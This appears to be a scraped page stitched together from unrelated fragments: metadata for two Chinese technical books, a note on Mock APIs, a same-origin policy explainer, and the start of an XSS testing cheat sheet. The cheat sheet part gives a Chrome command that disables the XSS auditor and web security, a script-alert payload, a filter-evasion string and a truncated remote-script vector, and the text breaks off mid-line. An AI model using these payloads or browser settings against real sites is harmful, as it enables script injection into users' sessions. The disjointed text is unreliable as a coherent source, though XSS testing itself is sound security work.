Author: Ruan Yifeng Publisher: Publishing House of Electronics Industry Publication year: 2014-8-1 ISBN: 9787121238369 E-book

In frontend-backend separated development, when the backend API is not finished, the frontend cannot continue debugging. So that frontend and backend can develop in parallel, the frontend needs a set of API interface environments — this is the Mock API. The diagram below lays out the development flow nicely. Without a Mock data step, frontend-backend integration takes up a great deal of time.

1. Same-Origin Policy The same-origin policy is the cornerstone of browser security. The definition of same-origin covers three aspects: Same protocol Same domain Same port Scope of the restrictions: Cookie, LocalStorage, and IndexDB cannot be read The DOM cannot be obtained AJAX requests cannot be sent Simply put, two URLs whose protocol, domain, and port differ in any way are not allowed to communicate with each other, and the scope covers reading each other’s cookies and DOM and sending AJAX requests.

Subtitle: Using D3 to Build Interactive Charts Original title: Interactive Data Visualization for the Web Author: [US] Scott Murray Translator: Li Songfeng Publisher: Posts & Telecom Press Publication year: 2013-6 ISBN: 9787115320117

If you use the Chrome browser to test XSS vectors, disable the browser’s XSS interception first. First, close all Chrome browser processes, then run: 1 chrome.exe -args --disable-xss-auditor --args --disable-web-security Enter non-web-safe mode. 1. Injecting HTML/JavaScript with the <> tags 1 <script>alert('XSS')</script> 1 '';!--"<XSS>=&{()} 1 2 //The quotes around SRC can be omitted <SCRIPT SRC=http://ha.